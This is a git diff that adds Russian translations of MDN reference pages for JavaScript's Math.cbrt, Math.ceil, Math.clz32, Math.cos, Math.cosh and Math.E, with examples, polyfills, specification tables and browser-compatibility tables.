new file mode 100644
index 0000000000..6eccb4f7f2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/cbrt/index.html
@@ -0,0 +1,134 @@
+---
+title: Math.cbrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.cbrt()</code></strong> возвращает кубический корень числа, то есть</p>
+<math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>c</mi><mi>b</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><mtext>уникальный</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>3</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{уникальный} \; y \; \text{такой, что} \; y^3 = x</annotation></semantics></math><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Синтаксис</span>
+
+<pre class="syntaxbox"><code>Math.cbrt(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>cbrt()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.cbrt()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_Math.cbrt" name="Example:_Using_Math.cbrt">Пример: использование метода <code>Math.cbrt()</code></h3>
+
+<pre class="brush: js">Math.cbrt(-1); // -1
+Math.cbrt(0);  // 0
+Math.cbrt(1);  // 1
+
+Math.cbrt(2);  // 1.2599210498948734
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Для всех <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>0</mn></mrow><annotation encoding="TeX">x \geq 0</annotation></semantics></math>, мы имеем <math><semantics><mrow><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><msup><mi>x</mi><mrow><mn>1</mn><mo>/</mo><mn>3</mn></mrow></msup></mrow><annotation encoding="TeX">\sqrt[3]{x} = x^{1/3}</annotation></semantics></math>, так что этот метод может эмулироваться следующим образом:</p>
+
+<pre class="brush: js">Math.cbrt = Math.cbrt || function(x) {
+  if (x === 0 || x === +1 / 0 || x === -1 / 0 || x !== x) {
+    return x;
+  }
+  var a = Math.abs(x);
+  var y = Math.exp(Math.log(a) / 3);
+  // from http://en.wikipedia.org/wiki/Cube_root#Numerical_methods
+  return (x / a) * (y + (a / (y * y) - y) / 3);
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/ceil/index.html b/files/ru/web/javascript/reference/global_objects/math/ceil/index.html
new file mode 100644
index 0000000000..afda2d9bd8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/ceil/index.html
@@ -0,0 +1,207 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Reference/Global_Objects/Math/ceil
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.ceil()</code></strong> - округление вверх. Округляет аргумент до ближайшего большего целого.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>ceil()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.ceil()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.ceil" name="Example:_Using_Math.ceil">Пример: использование метода <code>Math.ceil()</code></h3>
+
+<p>Следующий пример показывает использование метода <code>Math.ceil()</code>.</p>
+
+<pre><code>Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7</code></pre>
+
+<h3 id="Decimal_adjustment">Decimal adjustment</h3>
+
+<h3 id="Example:_Decimal_adjustment" name="Example:_Decimal_adjustment">Пример: корректировка округления десятичных дробей</h3>
+
+<pre class="brush: js">// Замыкание
+(function() {
+  /**
+   * Корректировка округления десятичных дробей.
+   *
+   * @param {String}  type  Тип корректировки.
+   * @param {Number}  value Число.
+   * @param {Integer} exp   Показатель степени (десятичный логарифм основания корректировки).
+   * @returns {Number} Скорректированное значение.
+   */
+  function decimalAdjust(type, value, exp) {
+    // Если степень не определена, либо равна нулю...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // Если значение не является числом, либо степень не является целым числом...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Сдвиг разрядов
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Обратный сдвиг
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Десятичное округление к ближайшему
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Десятичное округление вниз
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Десятичное округление вверх
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Округление к ближайшему
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Округление вниз
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Округление вверх
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/clz32/index.html b/files/ru/web/javascript/reference/global_objects/math/clz32/index.html
new file mode 100644
index 0000000000..127ae43179
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/clz32/index.html
@@ -0,0 +1,140 @@
+---
+title: Math.clz32()
+slug: Web/JavaScript/Reference/Global_Objects/Math/clz32
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/clz32
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.clz32()</code></strong> возвращает количество ведущих нулевых битов в 32-битном двоичном представлении числа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.clz32(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Название <code>clz32</code> является сокращением для более длинного <code>CountLeadingZeroes32</code> (<code>ПосчтитатьВедущиеНули32</code>).</p>
+
+<p>Если значение <code>x</code> не является числом, оно будет сначала преобразовано в число, а потом в 32-битное беззнаковое целое число.</p>
+
+<p>Если преобразованое 32-битное беззнаковое целое число равно <code>0</code>, метод вернёт <code>32</code>, поскольку все биты в числе равны <code>0</code>.</p>
+
+<p>Этот метод особено полезен для систем, которые компилируются в JS, например, для <a href="/ru/docs/Emscripten">Emscripten</a>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.clz32" name="Example:_Using_Math.clz32">Пример: использование метода <code>Math.clz32()</code></h3>
+
+<pre class="brush: js">Math.clz32(1);                // 31
+Math.clz32(1000);             // 22
+Math.clz32();                 // 32
+
+[NaN, Infinity, -Infinity, 0, -0, null, undefined, 'foo', {}, []].filter(
+function(n) {
+  return Math.clz32(n) !== 32
+});                           // []
+
+Math.clz32(true);             // 31
+Math.clz32(3.5);              // 30
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">Math.clz32 = Math.clz32 || function(value) {
+  value = Number(value) &gt;&gt;&gt; 0;
+  return value !== 0 ? 31 - Math.floor(Math.log(value + 0.5) / Math.log(2)) : 32;
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.clz32', 'Math.clz32')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("35")}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Math", "Math")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/cos/index.html b/files/ru/web/javascript/reference/global_objects/math/cos/index.html
new file mode 100644
index 0000000000..1e3bf2088c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/cos/index.html
@@ -0,0 +1,122 @@
+---
+title: Math.cos()
+slug: Web/JavaScript/Reference/Global_Objects/Math/cos
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.cos()</code></strong> возвращает косинус числа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.cos(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число радиан.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.cos()</code> возвращает числовое значение от -1 до 1, которое представляет косинус угла.</p>
+<p>Поскольку метод <code>cos()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.cos()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.cos" name="Example:_Using_Math.cos">Пример: использование метода <code>Math.cos()</code></h3>
+<pre class="brush: js">Math.cos(0);           // 1
+Math.cos(1);           // 0.5403023058681398
+
+Math.cos(Math.PI);     // -1
+Math.cos(2 * Math.PI); // 1
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.7', 'Math.cos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cos', 'Math.cos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/cosh/index.html b/files/ru/web/javascript/reference/global_objects/math/cosh/index.html
new file mode 100644
index 0000000000..548d793b7e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/cosh/index.html
@@ -0,0 +1,140 @@
+---
+title: Math.cosh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/cosh
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cosh
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.cosh()</code></strong> возвращает гиперболический косинус числа, который может быть выражен через {{jsxref("Math.E", "число e", "", 1)}}:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mo lspace="0em" rspace="thinmathspace">Math.cosh(x)</mo></mstyle><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.cosh(x)}} = \frac{e^x + e^{-x}}{2}</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.cosh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>cosh()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.cosh()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.cosh" name="Example:_Using_Math.cosh">Пример: использование метода <code>Math.cosh()</code></h3>
+
+<pre class="brush: js">Math.cosh(0);  // 1
+Math.cosh(1);  // 1.5430806348152437
+Math.cosh(-1); // 1.5430806348152437
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться при помощи двух вызовов метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.cosh = Math.cosh || function(x) {
+  return (Math.exp(x) + Math.exp(-x)) / 2;
+}
+</pre>
+
+<p>либо при помощи только одного вызова метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.cosh = Math.cosh || function(x) {
+  var y = Math.exp(x);
+  return (y + 1 / y) / 2;
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cosh', 'Math.cosh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.asinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.atanh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.sinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.tanh()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/e/index.html b/files/ru/web/javascript/reference/global_objects/math/e/index.html
new file mode 100644
index 0000000000..bcceeb4bc5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/e/index.html
@@ -0,0 +1,113 @@
+---
+title: Math.E
+slug: Web/JavaScript/Reference/Global_Objects/Math/E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.E</code></strong> представляет основание натурального логарифма, e, приблизительно равное 2,718.</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2,718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2,718</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>E</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.E</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.E" name="Example:_Using_Math.E">Пример: использование свойства <code>Math.E</code></h3>
+<p>Следующая функция возвращает e:</p>
+<pre class="brush: js">function getNapier() {
+  return Math.E;
+}
+
+getNapier(); // 2.718281828459045
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
